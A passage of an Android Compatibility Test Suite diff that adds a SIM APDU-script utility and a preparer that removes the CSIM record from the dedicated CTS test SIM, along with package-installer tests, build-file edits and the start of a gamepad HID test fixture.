+ private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3);
+ // TelephonyManager constants are @hide, so manually copy them here
+ private static final int CARD_POWER_DOWN = 0;
+ private static final int CARD_POWER_UP = 1;
+ private static final int CARD_POWER_UP_PASS_THROUGH = 2;
+
+ private static Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+
+ /**
+ * Executes an APDU script over the basic channel.
+ *
+ * <p>The sequence of events is as follows:
+ *
+ * <ol>
+ * <li>Power the SIM card (as specified by {@code subId}) down
+ * <li>Power the SIM card back up in pass-through mode (see {@link
+ * TelephonyManager#CARD_POWER_UP_PASS_THROUGH})
+ * <li>Transmit {@code apdus} over the basic channel to the SIM
+ * <li>Power the SIM card down
+ * <li>Power the SIM card back up
+ * </ol>
+ *
+ * <p>If any of the response statuses from the SIM are not {@code 9000} or {@code 91xx}, that is
+ * considered an error and an exception will be thrown, terminating the script execution. {@code
+ * 61xx} statuses are handled internally.
+ *
+ * <p>NOTE: {@code subId} must correspond to an active SIM.
+ */
+ public static void runApduScript(int subId, List<ApduCommand> apdus)
+ throws InterruptedException {
+ SubscriptionInfo sub =
+ getContext()
+ .getSystemService(SubscriptionManager.class)
+ .getActiveSubscriptionInfo(subId);
+ assertThat(sub).isNotNull();
+ assertThat(sub.getSimSlotIndex()).isNotEqualTo(SubscriptionManager.INVALID_SIM_SLOT_INDEX);
+ int logicalSlotId = sub.getSimSlotIndex();
+ // We need a physical slot ID + port to send APDU to in the case when we power the SIM up in
+ // pass-through mode, which will result in a temporary lack of SubscriptionInfo until we
+ // restore it to the normal power mode.
+ int physicalSlotId = -1;
+ int portIndex = -1;
+ Collection<UiccSlotMapping> slotMappings =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ getContext().getSystemService(TelephonyManager.class),
+ TelephonyManager::getSimSlotMapping,
+ Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+ for (UiccSlotMapping slotMapping : slotMappings) {
+ if (slotMapping.getLogicalSlotIndex() == logicalSlotId) {
+ physicalSlotId = slotMapping.getPhysicalSlotIndex();
+ portIndex = slotMapping.getPortIndex();
+ break;
+ }
+ }
+ if (physicalSlotId == -1 || portIndex == -1) {
+ throw new IllegalStateException(
+ "Unable to determine physical slot + port from logical slot: " + logicalSlotId);
+ }
+
+ Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class)
+ .getRadioHalVersion();
+ Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second);
+ boolean listenToSimCardStateChange = true;
+ // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or
+ // SIM PRESENT events, we have to switch to listen to SIM application states instead.
+ if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) {
+ listenToSimCardStateChange = false;
+ }
+
+ try {
+ // Note: Even if it won't wipe out subId after hal version 1.6, we still use the
+ // slot/port-based APDU method while in pass-through mode to make compatible with
+ // older hal version.
+ rebootSimCard(subId,
+ logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange);
+ sendApdus(physicalSlotId, portIndex, apdus);
+ } finally {
+ // Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed
+ // out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try
+ // to bring things back to the normal POWER_UP state to avoid breaking other suites.
+ rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange);
+ }
+ }
+
+ /**
+ * Powers the SIM card down firstly and then powers it back up on the {@code
+ * targetPowerState}
+ *
+ * Due to the RADIO HAL interface behavior changed after version 1.6, we have to
+ * listen to SIM card states before hal version 1.6 and SIM application states after.
+ * In specific, the behavior of the method is below:
+ * <p> Before hal version 1.6, powers the SIM card down and waits for it to become
+ * ABSENT, then powers it back up in {@code targetPowerState} and waits for it to
+ become PRESENT.
+ * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application
+ * state to become NOT_READY, then powers it back up in {@code targetPowerState} and
+ * waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or
+ * LOADED {@code CARD_POWER_UP}.
+ * The SIM application state keeps in NOT_READY state after simPower moving from
+ * CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH.
+ */
+ private static void rebootSimCard(int subId,
+ int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange)
+ throws InterruptedException {
+ if (listenToSimCardStateChange) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, CARD_POWER_DOWN,
+ TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange);
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange);
+ } else {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, CARD_POWER_DOWN,
+ TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+ if (targetPowerState == CARD_POWER_UP) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange);
+ } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+ }
+ }
+ }
+
+ private static void setSimPowerAndWaitForCardState(
+ int subId, int logicalSlotId, int targetPowerState,
+ int targetSimState, boolean listenToSimCardStateChange)
+ throws InterruptedException {
+ // A small little state machine:
+ // 1. Call setSimPower(targetPowerState)
+ // 2. Wait for callback passed to setSimPower to complete, fail if not SUCCESS
+ // 3. Wait for SIM state broadcast to match targetSimState
+ // TODO(b/229790522) figure out a cleaner expression here.
+ AtomicInteger powerResult = new AtomicInteger(Integer.MIN_VALUE);
+ CountDownLatch powerLatch = new CountDownLatch(1);
+ CountDownLatch cardStateLatch = new CountDownLatch(1);
+ BroadcastReceiver cardStateReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
+ intent.getAction())) &&
+ (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals(
+ intent.getAction()))) {
+ return;
+ }
+ int slotId =
+ intent.getIntExtra(
+ SubscriptionManager.EXTRA_SLOT_INDEX,
+ SubscriptionManager.INVALID_SIM_SLOT_INDEX);
+ if (slotId != logicalSlotId) return;
+ int simState =
+ intent.getIntExtra(
+ TelephonyManager.EXTRA_SIM_STATE,
+ TelephonyManager.SIM_STATE_UNKNOWN);
+ if (simState == targetSimState) {
+ if (powerLatch.getCount() == 0) {
+ cardStateLatch.countDown();
+ } else {
+ Log.w(
+ TAG,
+ "Received SIM state "
+ + simState
+ + " prior to setSimPowerState callback");
+ }
+ } else {
+ Log.d(TAG, "Unwanted SIM state: " + simState);
+ }
+ }
+ };
+
+ // Since we need to listen to a broadcast that requires READ_PRIVILEGED_PHONE_STATE at
+ // onReceive time, just take all the permissions we need for all our component API calls and
+ // drop them at the end.
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity(
+ Manifest.permission.MODIFY_PHONE_STATE,
+ Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+ IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED);
+ intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED);
+ getContext().registerReceiver(cardStateReceiver, intentFilter);
+ Log.i(
+ TAG,
+ "Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "...");
+ getContext()
+ .getSystemService(TelephonyManager.class)
+ .setSimPowerStateForSlot(
+ logicalSlotId,
+ targetPowerState,
+ Runnable::run,
+ result -> {
+ powerResult.set(result);
+ powerLatch.countDown();
+ });
+ if (!powerLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+ throw new IllegalStateException(
+ "Failed to receive SIM power result within "
+ + SET_SIM_POWER_TIMEOUT_SECONDS
+ + " seconds");
+ } else if (powerResult.get() != TelephonyManager.SET_SIM_POWER_STATE_SUCCESS) {
+ throw new IllegalStateException(
+ "Unexpected SIM power result: " + powerResult.get());
+ }
+
+ // Once the RIL request completes successfully, wait for the SIM to move to the desired
+ // state (from the broadcast).
+ int simApplicationState = getContext().getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(subId).getSimApplicationState();
+ Log.i(TAG, "Waiting for SIM " + logicalSlotId
+ + " to become " + targetSimState + " from " + simApplicationState);
+ // TODO(b/236950019): Find a deterministic way to detect SIM power state change
+ // from DOWN to PASS_THROUGH.
+ if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) {
+ Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS);
+ } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+ throw new IllegalStateException(
+ "Failed to receive SIM state "
+ + targetSimState
+ + " within "
+ + SET_SIM_POWER_TIMEOUT_SECONDS
+ + " seconds");
+ }
+ } finally {
+ getContext().unregisterReceiver(cardStateReceiver);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ private static void sendApdus(int physicalSlotId, int portIndex, List<ApduCommand> apdus) {
+ TelephonyManager telMan = getContext().getSystemService(TelephonyManager.class);
+
+ for (int lineNum = 0; lineNum < apdus.size(); ++lineNum) {
+ ApduCommand apdu = apdus.get(lineNum);
+ Log.i(TAG, "APDU #" + (lineNum + 1) + ": " + apdu);
+
+ // Format: data=response[0,len-4), sw1=response[len-4,len-2), sw2=response[len-2,len)
+ String response =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ telMan,
+ tm ->
+ tm.iccTransmitApduBasicChannelByPort(
+ physicalSlotId,
+ portIndex,
+ apdu.cla,
+ apdu.ins,
+ apdu.p1,
+ apdu.p2,
+ apdu.p3,
+ apdu.data),
+ Manifest.permission.MODIFY_PHONE_STATE);
+ if (response == null || response.length() < 4) {
+ Log.e(TAG, " response=" + response + " (unexpected)");
+ throw new IllegalStateException(
+ "Unexpected APDU response on line " + (lineNum + 1) + ": " + response);
+ }
+ StringBuilder responseBuilder = new StringBuilder();
+ responseBuilder.append(response.substring(0, response.length() - 4));
+ String lastStatusWords = response.substring(response.length() - 4);
+
+ // If we got a 61xx status, send repeated GET RESPONSE commands until we get a different
+ // status word back.
+ while (ApduResponse.SW1_MORE_RESPONSE.equals(lastStatusWords.substring(0, 2))) {
+ int moreResponseLength = Integer.parseInt(lastStatusWords.substring(2), 16);
+ Log.i(TAG, " fetching " + moreResponseLength + " bytes of data...");
+ response =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ telMan,
+ tm ->
+ tm.iccTransmitApduBasicChannelByPort(
+ physicalSlotId,
+ portIndex,
+ // Use unencrypted class byte when getting more data
+ apdu.cla & ~4,
+ ApduCommand.INS_GET_RESPONSE,
+ 0,
+ 0,
+ moreResponseLength,
+ ""),
+ Manifest.permission.MODIFY_PHONE_STATE);
+ if (response == null || response.length() < 4) {
+ Log.e(
+ TAG,
+ " response="
+ + response
+ + " (unexpected), partialResponse="
+ + responseBuilder.toString()
+ + " (incomplete)");
+ throw new IllegalStateException(
+ "Unexpected APDU response on line " + (lineNum + 1) + ": " + response);
+ }
+ responseBuilder.append(response.substring(0, response.length() - 4));
+ lastStatusWords = response.substring(response.length() - 4);
+ }
+
+ // Now check the final status after we've gotten all the data coming out of the SIM.
+ String fullResponse = responseBuilder.toString();
+ if (ApduResponse.SW1_SW2_OK.equals(lastStatusWords)
+ || ApduResponse.SW1_OK_PROACTIVE_COMMAND.equals(
+ lastStatusWords.substring(0, 2))) {
+ // 9000 is standard "ok" status, and 91xx is "ok with pending proactive command"
+ Log.i(TAG, " response=" + fullResponse + ", statusWords=" + lastStatusWords);
+ } else {
+ // Anything else is considered a fatal error; stop the script and fail this
+ // precondition.
+ Log.e(
+ TAG,
+ " response="
+ + fullResponse
+ + ", statusWords="
+ + lastStatusWords
+ + " (unexpected)");
+ throw new IllegalStateException(
+ "Unexpected APDU response on line " + (lineNum + 1) + ": " + fullResponse);
+ }
+ }
+ }
+}
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java
new file mode 100644
index 0000000..61e1949
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.UiccUtil.ApduCommand;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CsimRemover {
+
+ private static final String TAG = "CsimRemover";
+
+ /**
+ * APDUs to remove the CSIM record from EF_dir.
+ *
+ * <p>Given the general move away from CDMA, we do *not* have an equivalent postcondition to
+ * restore CSIM, though you can accomplish this by changing the final APDU's data to {@code
+ * "61184F10A0000003431002F310FFFF89020000FF50044353494DFFFFFFFFFFFFFF"}.
+ */
+ private static final List<ApduCommand> REMOVE_CSIM_SCRIPT =
+ List.of(
+ // Verify ADM
+ new ApduCommand(0x00, 0x20, 0x00, 0x0A, 0x08, "3535353535353535"),
+ // Select MF
+ new ApduCommand(0x00, 0xA4, 0x00, 0x0C, 0x02, "3F00"),
+ // Select EF_dir
+ new ApduCommand(0x00, 0xA4, 0x00, 0x0C, 0x02, "2F00"),
+ // Overwrite CSIM record with all FF bytes
+ new ApduCommand(0x00, 0xDC, 0x03, 0x04, 0x21, "FF".repeat(0x21)));
+
+ private Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+
+ @Before
+ public void ensurePreconditionsMet() {
+ // Bail out if no cellular support.
+ assumeTrue("No cellular support, CSIM removal will be skipped", FeatureUtil.hasTelephony());
+ // Since this APK is signed with the 2021 CTS SIM's certificate, we assume that if we don't
+ // have carrier privileges, we shouldn't be doing anything. This APDU script is not
+ // guaranteed to work on the "legacy" CTS SIM since there's no strict spec for its content.
+ assumeTrue(
+ "No carrier privileges, CSIM removal will be skipped",
+ getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges());
+ }
+
+ /** Removes CSIM from the UICC if it's present. */
+ @Test
+ public void removeCsim() throws Exception {
+ int subId = SubscriptionManager.getDefaultSubscriptionId();
+ assumeTrue("No CSIM detected, CSIM removal will be skipped", isCsimPresent(subId));
+
+ Log.i(TAG, "Removing CSIM applet record");
+ ApduScriptUtil.runApduScript(subId, REMOVE_CSIM_SCRIPT);
+
+ // The script will internally wait for the SIM to power back up, so this may indicate an
+ // internal timing issue inside telephony if we still don't have carrier privileges by now.
+ assertWithMessage("Carrier privileges not restored after executing CSIM removal script")
+ .that(getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges())
+ .isTrue();
+ assertWithMessage("CSIM still detected, CSIM removal failed")
+ .that(isCsimPresent(subId))
+ .isFalse();
+ }
+
+ private boolean isCsimPresent(int subId) {
+ return ShellIdentityUtils.invokeMethodWithShellPermissions(
+ getContext()
+ .getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(subId),
+ tm -> tm.isApplicationOnUicc(TelephonyManager.APPTYPE_CSIM),
+ Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+ }
+}
diff --git a/hostsidetests/tzdata/Android.bp b/tests/tests/carrierapi/targetprep/host/Android.bp
similarity index 70%
rename from hostsidetests/tzdata/Android.bp
rename to tests/tests/carrierapi/targetprep/host/Android.bp
index be847bd..a68a459 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/tests/tests/carrierapi/targetprep/host/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2017 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -16,20 +16,20 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-java_test_host {
- name: "CtsHostTzDataTests",
- defaults: ["cts_defaults"],
- // Only compile source java files in this apk.
+java_test_helper_library {
+ name: "CtsCarrierApiTargetPrep",
srcs: ["src/**/*.java"],
- libs: ["tradefed"],
- static_libs: [
- "tzdata-testing",
- "time_zone_distro",
- "time_zone_distro_builder",
+ libs: [
+ "compatibility-host-util",
+ "cts-tradefed",
+ "tradefed",
],
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
],
+ sdk_version: "current",
+ host_supported: true,
+ device_supported: false,
}
diff --git a/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java b/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java
new file mode 100644
index 0000000..ce2e0b3
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import com.android.compatibility.common.tradefed.targetprep.ApkInstrumentationPreparer;
+import com.android.tradefed.config.OptionClass;
+
+/** Ensures that the CTS SIM's content matches the latest spec. */
+@OptionClass(alias = "carrier-api-preparer")
+public class CarrierApiPreparer extends ApkInstrumentationPreparer {
+
+ public CarrierApiPreparer() {
+ mWhen = When.BEFORE;
+ }
+}
diff --git a/tests/tests/content/OWNERS b/tests/tests/content/OWNERS
index 41e033d..00b8ddb 100644
--- a/tests/tests/content/OWNERS
+++ b/tests/tests/content/OWNERS
@@ -5,4 +5,4 @@
schfan@google.com
zyy@google.com
per-file ContextTest.java = jacobhobbie@google.com,mpgroover@google.com
-per-file ClipboardAutoClearTest.java = olekarg@google.com,ewol@google.com
\ No newline at end of file
+per-file ClipboardAutoClearTest.java = olekarg@google.com,ashfall@google.com
\ No newline at end of file
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac34..7f588e4 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,6 +1,19 @@
{
"presubmit": [
{
+ "name": "FrameworksCoreTests",
+ "options": [
+ {
+ "include-filter": "android.content.pm.PackageManagerTests"
+ },
+ {
+ "exclude-annotation": "androidx.test.filters.Suppress"
+ }
+ ]
+ }
+ ],
+ "presubmit-large": [
+ {
"name": "CtsContentTestCases",
"options": [
{
@@ -13,17 +26,6 @@
"include-filter": "android.content.pm.cts"
}
]
- },
- {
- "name": "FrameworksCoreTests",
- "options": [
- {
- "include-filter": "android.content.pm.PackageManagerTests"
- },
- {
- "exclude-annotation": "androidx.test.filters.Suppress"
- }
- ]
}
]
}
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index a77433f5..e9d2715 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -313,8 +313,8 @@
final String systemPath = Environment.getRootDirectory().getAbsolutePath();
final String vendorPath = Environment.getVendorDirectory().getAbsolutePath();
final String packageName = getPartitionFirstPackageName(systemPath, vendorPath);
- assertNotNull("Can not find any vendor packages on " + vendorPath + " or "
- + systemPath + vendorPath, packageName);
+ // vendor package may not exist in every builds
+ assumeNotNull(packageName);
final PackageInfo info = getContext().getPackageManager().getPackageInfo(
packageName.trim(), 0 /* flags */);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7..df40ea9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@
import android.app.UiAutomation;
import android.content.ComponentName;
import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
import android.content.pm.DataLoaderParams;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageInstaller.SessionParams;
import android.content.pm.PackageManager;
import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@
import java.util.Arrays;
import java.util.Optional;
import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
import java.util.stream.Collectors;
@RunWith(Parameterized.class)
@@ -154,6 +171,15 @@
}
}
+ private static void writeFileToSession(PackageInstaller.Session session, String name,
+ String apk) throws IOException {
+ File file = new File(createApkPath(apk));
+ try (OutputStream os = session.openWrite(name, 0, file.length());
+ InputStream is = new FileInputStream(file)) {
+ writeFullStream(is, os, file.length());
+ }
+ }
+
@Before
public void onBefore() throws Exception {
// Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@
}
@Test
+ public void testDontKillWithSplit() throws Exception {
+ installPackage(TEST_HW5);
+
+ getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ final PackageInstaller installer = getPackageInstaller();
+ final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+ params.setAppPackageName(TEST_APP_PACKAGE);
+ params.setDontKillApp(true);
+
+ final int sessionId = installer.createSession(params);
+ PackageInstaller.Session session = installer.openSession(sessionId);
+ assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+ writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+ final CompletableFuture<Boolean> result = new CompletableFuture<>();
+ session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+ @Override
+ public void send(int code, Intent intent, String resolvedType,
+ IBinder whitelistToken, IIntentReceiver finishedReceiver,
+ String requiredPermission, Bundle options) throws RemoteException {
+ boolean dontKillApp =
+ (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+ result.complete(dontKillApp);
+ }
+ }));
+
+ // We are adding split. OK to have the flag.
+ assertTrue(result.get());
+ } finally {
+ getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
+ public void testDontKillRemovedWithBaseApk() throws Exception {
+ installPackage(TEST_HW5);
+
+ getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ final PackageInstaller installer = getPackageInstaller();
+ final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+ params.setAppPackageName(TEST_APP_PACKAGE);
+ params.setDontKillApp(true);
+
+ final int sessionId = installer.createSession(params);
+ PackageInstaller.Session session = installer.openSession(sessionId);
+ assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+ writeFileToSession(session, "hw7", TEST_HW7);
+
+ final CompletableFuture<Boolean> result = new CompletableFuture<>();
+ session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+ @Override
+ public void send(int code, Intent intent, String resolvedType,
+ IBinder whitelistToken, IIntentReceiver finishedReceiver,
+ String requiredPermission, Bundle options) throws RemoteException {
+ boolean dontKillApp =
+ (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+ result.complete(dontKillApp);
+ }
+ }));
+
+ // We are updating base.apk. Flag to be removed.
+ assertFalse(result.get());
+ } finally {
+ getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
public void testDataLoaderParamsApiV1() throws Exception {
if (!mStreaming) {
return;
diff --git a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
index 5385577..aafb494 100644
--- a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
@@ -290,7 +290,7 @@
private static class RemoteTest implements AutoCloseable {
private static final int SPIN_SLEEP_MS = 500;
- private static final long RESPONSE_TIMEOUT_MS = 60 * 1000;
+ private static final long RESPONSE_TIMEOUT_MS = 120 * 1000;
private final ShellInstallSession mSession;
private final String mTestName;
diff --git a/tests/tests/dpi2/OWNERS b/tests/tests/dpi2/OWNERS
new file mode 100644
index 0000000..bd3840b
--- /dev/null
+++ b/tests/tests/dpi2/OWNERS
@@ -0,0 +1 @@
+include platform/frameworks/base:/OWNERS
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index ecdf49d..6933080 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -23,6 +23,8 @@
#include <android/log.h>
#include <cstring>
+#include <chrono>
+#include <thread>
#include "VulkanPreTransformTestHelpers.h"
@@ -135,7 +137,13 @@
VkTestResult DeviceInfo::init(JNIEnv* env, jobject jSurface) {
ASSERT(jSurface);
- mWindow = ANativeWindow_fromSurface(env, jSurface);
+ // The native window may not be ready at this point yet (especially if the activity is
+ // restarted with rotation).
+ int wait_count = 0;
+ do {
+ mWindow = ANativeWindow_fromSurface(env, jSurface);
+ std::this_thread::sleep_for(std::chrono::seconds(1));
+ } while (!mWindow && wait_count++ < 10);
ASSERT(mWindow);
std::vector<VkExtensionProperties> supportedInstanceExtensions;
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
index 1bb1106..323e32d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -27,6 +27,7 @@
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PropertyUtil;
import org.junit.Before;
@@ -60,6 +61,7 @@
}
}
+ @CddTest(requirement = "7.1.4.1/C-2-3,C-2-4")
@Test
public void testOpenGlEsDeqpLevel() {
assumeTrue(
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index 7617806..9d723a4 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -34,6 +34,7 @@
"androidx.test.ext.junit",
"compatibility-device-util-axt",
"cts-input-lib",
+ "cts-kernelinfo-lib",
"ctstestrunner-axt",
"cts-wm-util",
"mockito-target-minus-junit4",
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
index f8c2ff3..caf77f2 100644
--- a/tests/tests/hardware/jni/Android.bp
+++ b/tests/tests/hardware/jni/Android.bp
@@ -31,5 +31,5 @@
],
stl: "none",
sdk_version: "current",
- clang: true,
+
}
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json
new file mode 100644
index 0000000..a82e87b
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json
@@ -0,0 +1,170 @@
+[
+ {
+ "name": "Press BUTTON_A",
+ "reports": [
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x28, 0x00, 0x1c, 0x00, 0x00],
+ [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_A"},
+ {"action": "UP", "keycode": "BUTTON_A"}
+ ]
+ },
+
